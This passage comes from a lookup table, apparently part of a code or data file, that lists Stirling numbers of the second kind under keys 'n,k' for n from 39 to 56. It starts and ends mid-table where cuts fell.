'39,2':274877906943,
'39,3':675425583958589101,
'39,4':12592301861930989693950,
'39,5':15145652389974035183277660,
'39,6':3079175490893684721060449109,
'39,7':177378265482948180922855352769,
'39,8':3941950144618210368988533692880,
'39,9':41226792409938114533404791371080,
'39,10':232345733288154482182052063757560,
'39,11':777139895045438870805801290845496,
'39,12':1656655696901657903621689328969250,
'39,13':2376102520162485084539597049185710,
'39,14':2391697838247094171920638749503855,
'39,15':1746915242500572134514405051353303,
'39,16':951143001396914393545883854010016,
'39,17':394587196800533034418391746650357,
'39,18':126992229043772198196813796679151,
'39,19':32180923166496316666097876322181,
'39,20':6500399318073971691089468009250,
'39,21':1057301437611379886746569325720,
'39,22':139626960553170899022323801835,
'39,23':15070919860488393988905994695,
'39,24':1336471294056355758805920000,
'39,25':97742057113124767011719700,
'39,26':5909902157669174347277556,
'39,27':295767104143570323821196,
'39,28':12248242047918745779820,
'39,29':418953092796062382220,
'39,30':11794165983031270410,
'39,31':271700904847384298,
'39,32':5078885476030080,
'39,33':76111994231845,
'39,34':898803697155,
'39,35':8157133257,
'39,36':54779166,
'39,37':255892,
'39,38':741,
'39,39':1,
'40,1':1,
'40,2':549755813887,
'40,3':2026277026753674246,
'40,4':50369882873307917364901,
'40,5':75740854251732106906082250,
'40,6':18490198597752082361545972314,
'40,7':1244727033871530951181047918492,
'40,8':31712979422428631132831124895809,
'40,9':374983081834061241169631656032600,
'40,10':2364684125291482936353925428946680,
'40,11':8780884578787982061045866263058016,
'40,12':20657008257865333714266073238476496,
'40,13':32545988459013964002636450968383480,
'40,14':35859872255621803491428539542239680,
'40,15':28595426475755676189636714519803400,
'40,16':16965203264851202431248546715513559,
'40,17':7659125347005975978658543547066085,
'40,18':2680447319588432601961040086875075,
'40,19':738429769207202214852673446800590,
'40,20':162188909527975750487887236507181,
'40,21':28703729507912949312767423849370,
'40,22':4129094569781139665237692966090,
'40,23':486258117344403960767161679820,
'40,24':47146230917840932200248074695,
'40,25':3780022721884474934098912500,
'40,26':251399513212523300040936156,
'40,27':13895613969545573090449848,
'40,28':638717881485295205656156,
'40,29':24397881739004554864200,
'40,30':772778072287000494520,
'40,31':20216894033300183648,
'40,32':434225240080346858,
'40,33':7590581285680965,
'40,34':106671319935115,
'40,35':1184303361150,
'40,36':10129183233,
'40,37':64247170,
'40,38':284050,
'40,39':780,
'40,40':1,
'41,1':1,
'41,2':1099511627775,
'41,3':6078831630016836625,
'41,4':201481557770258423133850,
'41,5':378754641141533842447776151,
'41,6':111016932440764226276181916134,
'41,7':8731579435698468740628881401758,
'41,8':254948562413300580013830047084964,
'41,9':3406560715928979801659516029189209,
'41,10':24021824334748890604708885945499400,
'41,11':98954414491959285607858454322584856,
'41,12':256664983673171986632238745124775968,
'41,13':443754858225046865748539935827461736,
'41,14':534584200037719212882636004559739000,
'41,15':464791269391956946335979257339290680,
'41,16':300038678713374915089613461968020344,
'41,17':147170334163952794068443787015637004,
'41,18':55907177099597762813957265110817435,
'41,19':16710612934525274684161835576086285,
'41,20':3982207959766717224610418176944210,
'41,21':764967229194147686056003137343951,
'41,22':119543810043098021947996669103350,
'41,23':15313031268702430762882411601950,
'41,24':1617767659372586333573115472500,
'41,25':141646798964952805552720887195,
'41,26':10316410065410080735163252556,
'41,27':626581090390253773483082052,
'41,28':31779714651133838848822216,
'41,29':1346256451916427296717956,
'41,30':47581223907614569699800,
'41,31':1399501787319306187608,
'41,32':34112101715871283104,
'41,33':684714422507818703,
'41,34':11217406163474875,
'41,35':148121937575365,
'41,36':1548953957538,
'41,37':12506328523,
'41,38':75041070,
'41,39':314470,
'41,40':820,
'41,41':1,
'42,1':1,
'42,2':2199023255551,
'42,3':18236495989562137650,
'42,4':805932309912663709372025,
'42,5':1893974687265439470662014605,
'42,6':666480349285726891499539272955,
'42,7':61232072982330045410678351728440,
'42,8':2048320078742103108851269258081470,
'42,9':30913995005774118794949474309787845,
'42,10':243624804063417885848748375484183209,
'42,11':1112520383746301032291151883493932816,
'42,12':3178934218570023125194723395819896472,
'42,13':6025478140598781241363257910881778536,
'42,14':7927933658753115846105443999663807736,
'42,15':7506453240917073407922324864649099200,
'42,16':5265410128805955587769794648827616184,
'42,17':2801934359500572414253157841233849412,
'42,18':1153499521956712524719674559010350834,
'42,19':373408822855577981813032141056456850,
'42,20':96354772129859619176370199114970485,
'42,21':20046519772843818631786484061167181,
'42,22':3394931050142304168911929857617651,
'42,23':471743529223253929494292135948200,
'42,24':54139455093644502768637182941950,
'42,25':5158937633496406472391137652375,
'42,26':409873460665614904666965453651,
'42,27':27234099505946932619206467960,
'42,28':1516413100622001261250104100,
'42,29':70821151756710230453642940,
'42,30':2773693169144864387711956,
'42,31':90965779314513061515648,
'42,32':2491089042227187246936,
'42,33':56707677658629300303,
'42,34':1066106232065964453,
'42,35':16401673978612650,
'42,36':203884280046733,
'42,37':2011688112889,
'42,38':15357889183,
'42,39':87305400,
'42,40':347270,
'42,41':861,
'42,42':1,
'43,1':1,
'43,2':4398046511103,
'43,3':54709490167709668501,
'43,4':3223747476146644399625750,
'43,5':9470679368637110017019445050,
'43,6':4000776070401626788467897652335,
'43,7':429290991225596044766248001372035,
'43,8':16447792702919154916220832416380200,
'43,9':280274275130709172263396538046172075,
'43,10':2467162035639952977282433229151619935,
'43,11':12481349025272729241051419093917444185,
'43,12':39259731006586578534627832633332690480,
'43,13':81510150046354179262917076237283017440,
'43,14':117016549363142403086839473906175086840,
'43,15':120524732272509216964940316969400295736,
'43,16':91753015301812362812239039245890958144,
'43,17':52898294240315686630073477949803056188,
'43,18':23564925754721397859207299903420164424,
'43,19':8248267156212694179167285239083030984,
'43,20':2300504265452770365340436123355866550,
'43,21':517331687359579810443886364399481286,
'43,22':94735002875974510347848940928755503,
'43,23':14245032222277144547280648984426251,
'43,24':1771090451470721995941584526555000,
'43,25':183112895931054664578415624251325,
'43,26':15815647610802393993732239447301,
'43,27':1145194147326182085385540088571,
'43,28':69693666323362967934209382760,
'43,29':3570226501566597944405749360,
'43,30':154031946831056162085001620,
'43,31':5593632327894769294697044,
'43,32':170680628665783053417600,
'43,33':4362442404961954156935,
'43,34':92955289548872091705,
'43,35':1640164821317407203,
'43,36':23741508060295038,
'43,37':278316740223626,
'43,38':2595287901843,
'43,39':18762799783,
'43,40':101196200,
'43,41':382571,
'43,42':903,
'43,43':1,
'44,1':1,
'44,2':8796093022207,
'44,3':164128474901175516606,
'44,4':12895044614076745308171501,
'44,5':47356620590661696729496851000,
'44,6':24014127101778397840824405359060,
'44,7':3009037714649573940152203907256580,
'44,8':132011632614578835374532907332413635,
'44,9':2538916268879301705286789674831928875,
'44,10':24951894631530238945087728829562371425,
'44,11':139762001313639974628848043262243505970,
'44,12':483598121104311671656585410693909729945,
'44,13':1098891681609190908952549823718011917200,
'44,14':1719741841130347822478669710923734233200,
'44,15':1924887533450780657560944228447179522880,
'44,16':1588572977101507021960764944903655626040,
'44,17':991024017387179035523488164392542913340,
'44,18':477066957825300848095804876211366015820,
'44,19':180282001722762587263385719445997753120,
'44,20':54258352465268101485976007706200361984,
'44,21':13164469700003946384662049775744973556,
'44,22':2601501750631019038096563064832102352,
'44,23':422370743988348834935303867570559276,
'44,24':56751203057574472449878677621746251,
'44,25':6348912849747088610401975132838125,
'44,26':594319733811916908415453849881151,
'44,27':46735889588609310299141821838718,
'44,28':3096616804380345187543402805851,
'44,29':173230234868794308321976114200,
'44,30':8191184906498282806955797960,
'44,31':327434548995794010220609984,
'44,32':11055412445199827004060244,
'44,33':314641228029527540596455,
'44,34':7522922249623605274905,
'44,35':150361058294981343810,
'44,36':2494859111488028571,
'44,37':34039227448569200,
'44,38':376937680493660,
'44,39':3327037093380,
'44,40':22810647783,
'44,41':116881611,
'44,42':420497,
'44,43':946,
'44,44':1,
'45,1':1,
'45,2':17592186044415,
'45,3':492385433499619572025,
'45,4':51580342584781882408202610,
'45,5':236795997997922560392792426501,
'45,6':144132119231261048741675929005360,
'45,7':21087278129648795978906251756155120,
'45,8':1059102098631280256936415462566565660,
'45,9':22982258052528294182955639980819773510,
'45,10':252057862584181691156164077970455643125,
'45,11':1562333909081569959862416204714240937095,
'45,12':5942939454565380034507872971589160265310,
'45,13':14769189982023793488039733119028064653545,
'45,14':25175277457434060423653925776650291182000,
'45,15':30593054842892057685892833137631427076400,
'45,16':27342055167074893008933183346905669539520,
'45,17':18435981272683550625860063739576885152820,
'45,18':9578229258242594301247975936197131198100,
'45,19':3902424990557790006100133545685323325100,
'45,20':1265449051028124616982905873570004992800,
'45,21':330712216165350975563879052996844806660,
'45,22':70397508213886365222786437202051225300,
'45,23':12316028862363042241608552018954965700,
'45,24':1784399617370136173732392130492469300,
'45,25':215474024301251687709928055942699376,
'45,26':21801225928856928229203775229748051,
'45,27':1856188752704368286492283039526537,
'45,28':133441160111258975550357100402546,
'45,29':8120293615575380128880710117651,
'45,30':418965782063742792530650053000,
'45,31':18341655925367897123794707464,
'45,32':681207747242188474350537792,
'45,33':21438572970174235843743259,
'45,34':570420584516730119943225,
'45,35':12785559289947952308255,
'45,36':240175986308550372366,
'45,37':3754310527085088971,
'45,38':48362859307328280,
'45,39':506692127135480,
'45,40':4239463004700,
'45,41':27602793834,
'45,42':134542485,
'45,43':461175,
'45,44':990,
'45,45':1,
'46,1':1,
'46,2':35184372088831,
'46,3':1477156318091044760490,
'46,4':206321862724561029252382465,
'46,5':1184031570332197583846370335115,
'46,6':865029511385564215010448366458661,
'46,7':147755079026772832901085438222091200,
'46,8':8493904067179890851470229952288680400,
'46,9':207899424571385927903537175289944527250,
'46,10':2543560883894345205744596419685376204760,
'46,11':17437730862481451249642742329827105951170,
'46,12':72877607363866130373956891863784164120815,
'46,13':197942409220874695379024403518954000761395,
'46,14':367223074386100639419194693992132141201545,
'46,15':484071100100814925712046422841121697328000,
'46,16':468065937516090345828823766688122139708720,
'46,17':340753736802695253648554266919712717137460,
'46,18':190844107921050248048323630591125246718620,
'46,19':83724304078840604417150513304218274375000,
'46,20':29211406011120282345758251017085423181100,
'46,21':8210405590500495103824365986503745932660,
'46,22':1879457396870851010465180671441971763260,
'46,23':353666172048236336779783133638015436400,
'46,24':55141619679246310411185963150774228900,
'46,25':7171250224901428366480593529059953700,
'46,26':782305898451531821669226211916148702,
'46,27':71918322251874871964495417296964550,
'46,28':5592541235819619601902281850797825,
'46,29':368929674962944999287897693814425,
'46,30':20689267077487663904800211707651,
'46,31':987557115750147603368285984384,
'46,32':40140303837117928303011916808,
'46,33':1388680655257938257194065339,
'46,34':40832872843743059921812909,
'46,35':1017915159664908450732150,
'46,36':21431894797055765713431,
'46,37':379085475810698664293,
'46,38':5592099180763563611,
'46,39':68123852265612000,
'46,40':676270647323480,
'46,41':5371177551894,
'46,42':33253578204,
'46,43':154373010,
'46,44':504735,
'46,45':1035,
'46,46':1,
'47,1':1,
'47,2':70368744177663,
'47,3':4431468989457506370301,
'47,4':825288928054562208054290350,
'47,5':5920364173523712480261104058040,
'47,6':5191361099883717487646536569087081,
'47,7':1035150582698795394522608515921097061,
'47,8':68098987616465899644662925056531534400,
'47,9':1879588725209653241983304807561789425650,
'47,10':25643508263514837985349501372143706574850,
'47,11':194358600371190308951814762047783541667630,
'47,12':891969019228875015737125444695237075400950,
'47,13':2646128927235237170301274137610186174018950,
'47,14':5339065450626283647247750119408803977583025,
'47,15':7628289575898324525099891036608957601121545,
'47,16':7973126100358260458973226689851075932667520,
'47,17':6260879463161909657854246304323238331045540,
'47,18':3775947679381599718518379617559967158072620,
'47,19':1781605885419021731974183383371272459843620,
'47,20':667952424301246251332315533645926737997000,
'47,21':201629923411630679526069936733664087766960,
'47,22':49558468321659217334058340758227124724380,
'47,23':10013779353980286756400192745116326800460,
'47,24':1677065044350147786648246249256596930000,
'47,25':234422875301782019573200801377273071400,
'47,26':27511203584641255729880475038879819952,
'47,27':2724100599252153364710602478934191552,
'47,28':228509476854824220817759309119303650,
'47,29':16291501809745024581251314971416150,
'47,30':989607687287574916431904045043955,
'47,31':51303537665742239609217077223555,
'47,32':2272046838537921309064667322240,
'47,33':85966765460629890790416072995,
'47,34':2776998331945202294535704245,
'47,35':76459903432014855697438159,
'47,36':1789463372358916016415666,
'47,37':35458057402051616292272,
'47,38':591585244679714081511,
'47,39':8248929419122431611,
'47,40':95174678158551200,
'47,41':896488926951134,
'47,42':6767827836462,
'47,43':39891617634,
'47,44':176581350,
'47,45':551310,
'47,46':1081,
'47,47':1,
'48,1':1,
'48,2':140737488355327,
'48,3':13294407038741263288566,
'48,4':3301160143687238289723531701,
'48,5':29602646156546616963513574580550,
'48,6':31154086963475828638359480518580526,
'48,7':7251245439991451479145906148016766508,
'48,8':545827051514425992551826008968173372261,
'48,9':16984397514503345077494406193112636365250,
'48,10':258314671360358033095478318528998855174150,
'48,11':2163588112346608236455311883897762664918780,
'48,12':10897986831117690497797320098390628446479030,
'48,13':35291645073286958229653689233627657337647300,
'48,14':77393045236003208231769775809333441860181300,
'48,15':119763409089101151523746115668543167994406200,
'48,16':135198307181630491868671518074226172523801865,
'48,17':114408076974110724642495413863346127560441700,
'48,18':74227937692030704591185079420402647176352700,
'48,19':37626459502343012626027863901614143895101400,
'48,20':15140654371443946758620494056289807219783620,
'48,21':4902180815945490521379784205052872581103160,
'48,22':1291916226488133460875353433414660831703320,
'48,23':279875393463205812731262773895902641134960,
'48,24':50263340418383833635958102727274653120460,
'48,25':7537636926894698275978266283688423715000,
'48,26':949714168502454668550093152388148390152,
'48,27':101061919764449396577066741970102991856,
'48,28':9122365951187231547607863134274693752,
'48,29':700963029337429933674047443290372000,
'48,30':45979732428372272074208436322734800,
'48,31':2580017354925584344317633438974160,
'48,32':124009036498955721499286431535235,
'48,33':5108950098738707705148397731075,
'48,34':180384708746766768804630017325,
'48,35':5453094952065722243946039810,
'48,36':140880584836935832288402135,
'48,37':3101411496234825819229730,
'48,38':57938296699880751389690,
'48,39':913293492025488914340,
'48,40':12055916545464479611,
'48,41':131930724163547694,
'48,42':1180737696082538,
'48,43':8483167394724,
'48,44':47661197034,
'48,45':201390300,
'48,46':601036,
'48,47':1128,
'48,48':1,
'49,1':1,
'49,2':281474976710655,
'49,3':39883221256961278221025,
'49,4':13204653869155991900157415370,
'49,5':148016531942876772055857596434451,
'49,6':186954124427011518447120396686063706,
'49,7':50789872166903636182659702516635946082,
'49,8':4373867657555399391893753977893403744596,
'49,9':153405404682044531690001481746981900659511,
'49,10':2600131111118083676032277591483101188106750,
'49,11':24057783907173048634103909041404388169280730,
'49,12':132939430085758894210023153064585304022667140,
'49,13':469689372783848147483295280135550173835893930,
'49,14':1118794278377331873474430550564295843380185500,
'49,15':1873844181572520481087961510837480961776274300,
'49,16':2282936323995189021422490404856161928375236040,
'49,17':2080135615741512810791093553751110341051310765,
'49,18':1450510955430663407283826843430593776734790300,
'49,19':789130668236547944485714493551071381183279300,
'49,20':340439546931221947798437745027410288290773800,
'49,21':118086451506299247707595962362400131422949980,
'49,22':33324337798684426660637559740175410878576200,
'49,23':7729050276141867153694397233020421577807400,
'49,24':1486195563504417819994257239350494316026000,
'49,25':238704263590751290535414759819485245995460,
'49,26':32230205307958519658280688245780281858952,
'49,27':3678386002142588376130895185580929170264,
'49,28':356488166397691879910086909729794416912,
'49,29':29450293801972699624155238989695481752,
'49,30':2080355002188598095900300532972416000,
'49,31':125960270431065386748055072930933760,
'49,32':6548306522892167432294799248101680,
'49,33':292604389757333075769183556660710,
'49,34':11242030196128777844505818320125,
'49,35':371243032069067047342741410675,
'49,36':10524796006195412206328516670,
'49,37':255632810197624387599902145,
'49,38':5303066770830294372037950,
'49,39':93556742888874819048950,
'49,40':1395530153844068098780,
'49,41':17465076236169935065,
'49,42':181521707399014290,
'49,43':1545513894055670,
'49,44':10580260064220,
'49,45':56723760534,
'49,46':229037956,
'49,47':654052,
'49,48':1176,
'49,49':1,
'50,1':1,
'50,2':562949953421311,
'50,3':119649664052358811373730,
'50,4':52818655359845224561907882505,
'50,5':740095864368253016271188139587625,
'50,6':1121872763094011987454778237712816687,
'50,7':355716059292752464797065038013137686280,
'50,8':35041731132610098771332691525663865902850,
'50,9':1385022509795956184601907089700730509680195,
'50,10':26154716515862881292012777396577993781727011,
'50,11':267235754090021618651175277046931371050194780,
'50,12':1619330944936279779154381745816428036441286410,
'50,13':6238901276275784811492861794826737563889288230,
'50,14':16132809270066494376125322988035691981158490930,
'50,15':29226457001965139089793853213126510270024300000,
'50,16':38400825365495544823847807988536071815780050940,
'50,17':37645241791600906804871080818625037726247519045,
'50,18':28189332813493454141899976735501798322277536165,
'50,19':16443993651925074352512402220900950019217097000,
'50,20':7597921606860986900454469394099277146998755300,
'50,21':2820255028563506149657952954637813048172723380,
'50,22':851221883077356634241622276646259170751626380,
'50,23':211092494149947371195608696099645107168146400,
'50,24':43397743800247894833556570977432285162431400,
'50,25':7453802153273200083379626234837625465912500,
'50,26':1076689601597672801650712654209772574328212,
'50,27':131546627365808405813814858256465369456080,
'50,28':13660054661277961013613328658015172843800,
'50,29':1210546686654900169010588840430963387720,
'50,30':91860943867630642501164254978867961752,
'50,31':5985123385551625085090007793831362560,
'50,32':335506079163614744581488648870187520,
'50,33':16204251384884158932677856617905110,
'50,34':674833416425711522482381379544960,
'50,35':24235536318546124501501767693750,
'50,36':750135688292101886770568010795,
'50,37':19983209983507514547524896035,
'50,38':457149347489175573737344245,
'50,39':8951779743496412314947000,
'50,40':149377949042637543000150,
'50,41':2111598279527035436445,
'50,42':25088987946928535245,
'50,43':247978804843408100,
'50,44':2011045336881350,
'50,45':13132829288250,
'50,46':67259506510,
'50,47':259778400,
'50,48':710500,
'50,49':1225,
'50,50':1,
'51,1':1,
'51,2':1125899906842623,
'51,3':358948992720026387542501,
'51,4':211274741089044950606442903750,
'51,5':3700532140496624926580502605820630,
'51,6':6731976674428440177744940614416487747,
'51,7':2491134287812361265566910044329676620647,
'51,8':280689565120173542635458597243324064909080,
'51,9':12500244319296215760188496498832238453024605,
'51,10':262932187668424769104729681055480668326950305,
'51,11':2965748011506100686454940824912823075333869591,
'51,12':19699207093325378968503756226844067808345631700,
'51,13':82725047536521482328561585078564016367002033400,
'51,14':232098231057206706077247383627326425300108161250,
'51,15':454529664299543580723033121184933346031522990930,
'51,16':643639662849893856271358781029703659322505115040,
'51,17':678369935822710960506656181905161713161987874705,
'51,18':545053232434483081359070662057657407527243170015,
'51,19':340625212200069866839635618932619848687402379165,
'51,20':168402425789144812361601790102886492959192203000,
'51,21':66823277206694616043271481441493351158625946280,
'51,22':21547136456265352102973643040855514804708503740,
'51,23':5706349248526146171740622286938096635618993580,
'51,24':1252638345355896847200966399558019951066500000,
'51,25':229742797632077896918047226848372921810243900,
'51,26':35447731794812692926298155244291712398446012,
'51,27':4628448540474499758623713827134337549642372,
'51,28':514028157881591314194988060680890209082480,
'51,29':48765908574270065914920405030513111087680,
'51,30':3966375002683819444045516489797002240280,
'51,31':277399768819731020138954496587640201112,
'51,32':16721317918787296911697644557677363200,
'51,33':870246374864791989359857917261056150,
'51,34':39148587543358350697078823522433750,
'51,35':1523077187574825880034943248826210,
'51,36':51240421097061792425242216082370,
'51,37':1489514457681879925028989164090,
'51,38':37354885188096186349543977345,
'51,39':806268757485535654020277245,
'51,40':14926897705201914034953000,
'51,41':235953478503245995894395,
'51,42':3165335773298033916735,
'51,43':35752076555195083545,
'51,44':336464799666187500,
'51,45':2602022654852600,
'51,46':16226766587710,
'51,47':79469091310,
'51,48':293882400,
'51,49':770525,
'51,50':1275,
'51,51':1,
'52,1':1,
'52,2':2251799813685247,
'52,3':1076846979285979069470126,
'52,4':845099323305172522452159157501,
'52,5':18502871977224213677853119472006900,
'52,6':40395560578711137691396224189104747112,
'52,7':17444671991360957299146115250922152832276,
'52,8':2248007655249200702349235687990922195893287,
'52,9':112782888438786115384331927086733470142130525,
'52,10':2641822121003543906807485307053638921722527655,
'52,11':32886160314235532320109078755096534496999515806,
'52,12':239356233131410648308500015547041636775481449991,
'52,13':1095124825068104649239804362248176280579372065900,
'52,14':3332100282337415367410024955861133970568516290900,
'52,15':7050043195550360416922744201401326615772953025200,
'52,16':10752764269897845281064773617660191895191604831570,
'52,17':12175928571835980184884513873417452783076298985025,
'52,18':10489328119643406424969928098942995048652364934975,
'52,19':7016932264235810551312147421777434532587888374150,
'52,20':3708673727982966114071671420990349707871246439165,
'52,21':1571691247129731749270302900374246867290337074880,
'52,22':540860279244532362308691628340314676862213028560,
'52,23':152793169172366714053007955640431737423945356080,
'52,24':35769669537067670504563815876330575461214993580,
'52,25':6996208286157844270152147070767342996322597500,
'52,26':1151383824297207913001799263199957444169840212,
'52,27':160415842387624186409138428576918826238790056,
'52,28':19021236961159056556083379526199263403951812,
'52,29':1928239506535423225727679806565770430625200,
'52,30':167757158654784649236285899724423178296080,
'52,31':12565767836095481068353105884013848474752,
'52,32':812481942220924521313279122433315823512,
'52,33':45439448289325432560572955827292216150,
'52,34':2201298351338975913060537917023803650,
'52,35':92456289108477256498301837231351100,
'52,36':3367732347069050407343663027791530,
'52,37':106352456031291349651314815153700,
'52,38':2909000094829535006311660303200,
'52,39':68799366730032076856334789900,
'52,40':1403344665693612215418397245,
'52,41':24600990323834999866623195,
'52,42':368897580981763420397265,
'52,43':4702675065171422509170,
'52,44':50556527740507333545,
'52,45':453555819134554500,
'52,46':3348453917887260,
'52,47':19961813879280,
'52,48':93575446510,
'52,49':331638125,
'52,50':834275,
'52,51':1326,
'52,52':1,
'53,1':1,
'53,2':4503599627370495,
'53,3':3230540940109737022095625,
'53,4':3380398370067669375787706100130,
'53,5':92515204985444373561788049519192001,
'53,6':242391866344244050362055198254100489572,
'53,7':122153099500105412231714202980644174573044,
'53,8':18001505913984966576093031619178299719978572,
'53,9':1017294003604324239161336579468592153475068012,
'53,10':26531004098474225183459184997623122687367407075,
'53,11':364389585577594399428007351613115518388717201521,
'53,12':2905160957891163312022109265319596175802776915698,
'53,13':14475978959016771088425956724773333284307318306691,
'53,14':47744528777791919792980153744304051868538600138500,
'53,15':109082748215592821621251187976881033207162811668900,
'53,16':179094271513915884913959122083964396938838630330320,
'53,17':217743549991109508424101509465756889207488687576995,
'53,18':200983834725417295834343219654391363658818867814575,
'53,19':143811041140123806899900729112714251167822244043825,
'53,20':81190406823895132832745575841584428690012817157450,
'53,21':36714189917707332848748032328849533920968325011645,
'53,22':13470617390509443720061518723861169758259023703200,
'53,23':4055103170208966785527874608070244637612956218400,
'53,24':1011265238061990806162539536672365548493105202000,
'53,25':210674876691013777258367492645514150369279931080,
'53,26':36932187717885250008198927913966236544738443012,
'53,27':5482611568763060946048536834776765752617171724,
'53,28':693010477300077769979473055310498201549440792,
'53,29':74940182650686330102186093916606605892082612,
'53,30':6960954266178962702816256798298465779507600,
'53,31':557295961573744562355232182128852481013392,
'53,32':38565189987165065750378037801879954827136,
'53,33':2311983735768663795812186664733958956462,
'53,34':120283592234850613604631245006101540250,
'53,35':5437268470135679890501102220121092150,
'53,36':213694653602963071162673706231846180,
'53,37':7302773220226830344442311188478430,
'53,38':216894459634813679891157906675300,
'53,39':5592175397300786003708717109300,
'53,40':124933153357776565473070679700,
'53,41':2411985268970847209949948240,
'53,42':40094688725069063523308325,
'53,43':571112608784134588291575,
'53,44':6927162285753745185150,
'53,45':70966539601562286045,
'53,46':607584699357368460,
'53,47':4286659170213420,
'53,48':24453435311760,
'53,49':109825714635,
'53,50':373351875,
'53,51':901901,
'53,52':1378,
'53,53':1,
'54,1':1,
'54,2':9007199254740991,
'54,3':9691622824832810693657370,
'54,4':13521596710811617612887846496145,
'54,5':462579405325591935478316035302060135,
'54,6':1454443713270449746545892977574122129433,
'54,7':855314088367082129672361476062763322500880,
'54,8':144134200411379838020975967156407041934401620,
'54,9':9173647538352903119028122246836507680995590680,
'54,10':266327334988346576073753186555699819027149138762,
'54,11':4034816445452012618891540052741893824963256623806,
'54,12':35226321080271554143693318535448269628022040189897,
'54,13':191092887425109187461559546687372928871797914902681,
'54,14':682899381848103648190148109145030059443847720245691,
'54,15':1683985752011684244111747973397519549975980775172000,
'54,16':2974591092438246980244597141320311384228580896954020,
'54,17':3880734621362777528123684783001831513466146319139235,
'54,18':3835452575048620833442279463244801435066228308239345,
'54,19':2933393616387769626932457072795962135847441504647250,
'54,20':1767619177618026463554812245944402824968078587192825,
'54,21':852188395095749122656454254747424641030347642401995,
'54,22':333067772508915094690101444253795268602666846482045,
'54,23':106737990305315679787202634709476796423357016726400,
'54,24':28325468883696746133428823488207017801447481066400,
'54,25':6278137155337335237621726852810219307725103479000,
'54,26':1170911757356030277471539618408636300532479449392,
'54,27':184962700074487895551509422452938911865402079560,
'54,28':24886904933165238505473782383470715396001513900,
'54,29':2866275774169981342942869778892089772419836540,
'54,30':283768810636055211186673797865560579277310612,
'54,31':24237129074965044135828454444292892690922752,
'54,32':1791382041163026666367329391789011035481744,
'54,33':114860653267530971012180197738100600390382,
'54,34':6401625871753584658369648994941411324962,
'54,35':310587988689599409772169822710339765500,
'54,36':13130275999842350452357355644467554630,
'54,37':483897262751355793907039220205548090,
'54,38':15544762686349750180306311642139830,
'54,39':434989300129544334035797873938000,
'54,40':10589501531611848622631544297300,
'54,41':223824549385581301081018557540,
'54,42':4095962195423747877928897890,
'54,43':64652530902786850819846050,
'54,44':875907749357299376438175,
'54,45':10120656567824048057175,
'54,46':98915435772001235205,
'54,47':809057680357399200,
'54,48':5460424065177900,
'54,49':29834895328875,
'54,50':128493308385,
'54,51':419348826,
'54,52':973557,
'54,53':1431,
'54,54':1,
'55,1':1,
'55,2':18014398509481983,
'55,3':29074868483505631335713101,
'55,4':54086396534869295284362079641950,
'55,5':2312910548224670489009193064356796820,
'55,6':8727124859028024071210836181480034836733,
'55,7':5988653062282845357453076225416917379635593,
'55,8':1153928917379405786297480098727319098797713840,
'55,9':82706962045587507909274076188684976170894717740,
'55,10':2672446997421818663856559987803834697952486978300,
'55,11':44649308234960485383880693766716531893622972000628,
'55,12':426750669408710662343211362478121129361227738902570,
'55,13':2519433857606690991143967425471296344961394933924750,
'55,14':9751684233298560262123633074717793761085665998342355,
'55,15':25942685662023367309866367710107823309083559347825691,
'55,16':49277443231023635928025302234522501697633275126436320,
'55,17':68947079655605464958347238452351447113153068322321015,
'55,18':72918880972237952530084715121408257344658255867447445,
'55,19':59569931286416243745158963846368082016167616896537095,
'55,20':38285777168748298898028701991684018635209013248503750,
'55,21':19663575474628758039340351595640320286605379077634720,
'55,22':8179679390291881205838686028330920550289018265006985,
'55,23':2788041549531175729795762042571761586339878231189245,
'55,24':786549243514037586989494398426445223658096562320000,
'55,25':185278897767130127073971994808462500494575068041400,
'55,26':36721842846594122451881756931434763121569569163192,
'55,27':6164904659367203457362294024637986920898335597512,
'55,28':881796038203114573704775329190118942953444468760,
'55,29':108008902384094697450817005971341318796176773560,
'55,30':11379340093251637678543083714858907150739154900,
'55,31':1035119811959971579397355885638640252695915924,
'55,32':81561354392181897459582994981541245826338560,
'55,33':5581783598991548709769275917146330848364350,
'55,34':332515932907152849396748263566108585439090,
'55,35':17272205475889564000395592789803303117462,
'55,36':783277924683924026057034625911171732180,
'55,37':31034474721642514826917806792072833960,
'55,38':1074598244832646300758679062606861630,
'55,39':32509345391401979207702428725721830,
'55,40':858569361394018278941059645830000,
'55,41':19766308056420681966953305156440,
'55,42':395854961593378711954032268920,
'55,43':6876021024243582463182278040,
'55,44':103192471874508023383125750,
'55,45':1331337294909381539011050,
'55,46':14670766613336104876605,
'55,47':136941146748798997605,
'55,48':1071158035485938400,
'55,49':6922333936292775,
'55,50':36259560748125,
'55,51':149880098511,
'55,52':469973790,
'55,53':1049400,
'55,54':1485,
'55,55':1,
'56,1':1,
'56,2':36028797018963967,
'56,3':87224605468531292516621286,
'56,4':216345615214345664643079654280901,
'56,5':11564606827519887314341249683863626050,
'56,6':52365062064716369097754026281944565817218,
'56,7':41929298560838945526242744414099901692285884,
'56,8':9237419992097529135737293866043969707761346313,
'56,9':745516587327666976969764165796892104636850173500,
'56,10':26807176936263774146474873954227031955695764500740,
'56,11':493814837581987157886544191421685685527805178985208,
'56,12':5165657341139488433502417043504170084228355838831468,
'56,13':33179390818295693547214787893604973613859361879924320,
'56,14':139043013123786534660874830471520409000160718910717720,
'56,15':398891969163649069910119148726335143397339056215727720,
'56,16':814381777358401542158271203462467850471215961370806811,
'56,17':1221377797376316540219928355924497102621235436605893575,
'56,18':1381486937155888610499872110637700079317001673936375025,
'56,19':1204747575414146583688105028202401815651842976901652250,
'56,20':825285474661382221705733003680048454720347881866612095,
'56,21':451220862135952217724176085500130744653921973878832870,
'56,22':199616522061050144567791444218920572392963780907788390,
'56,23':72304635029508922991141213007481437036106217582359620,
'56,24':21665223393868077817543627604806446954134195726869245,
'56,25':5418521687692290763838794268638007736022473263355000,
'56,26':1140046811778577310822897675025766341655383866284392,
'56,27':203174268649508615800663695596660409985824630296016,
'56,28':30855193729054411521096003241961317323594780722792,
'56,29':4014054207341860799778468502359017188042570902000,
'56,30':449389105181643827807109517417108533318351420560,
'56,31':43468054264010756639861116169656754984312548544,
'56,32':3645083152509792298104011725047960119138749844,
'56,33':265760213158903004881969100247370163822362110,
'56,34':16887325317834745589258716878394022753293410,
'56,35':937043124563287589410594011209224194550260,
'56,36':45470210764510828938448839322605485475942,
'56,37':1931553489384697074652993477217866588700,
'56,38':71869208025283074255747611171133575900,
'56,39':2342462715097323489859073782910013000,
'56,40':66852119847162710365344814558921830,
'56,41':1668987991707266239586145157244040,
'56,42':36392216443342587869022660451080,
'56,43':691523865635852757870870224640,
'56,44':11416489786721935492039811040,
'56,45':163102650145430192638623000,
'56,46':2006192559122842363334880,
'56,47':21107000510529657764040,
'56,48':188356732452124040805,
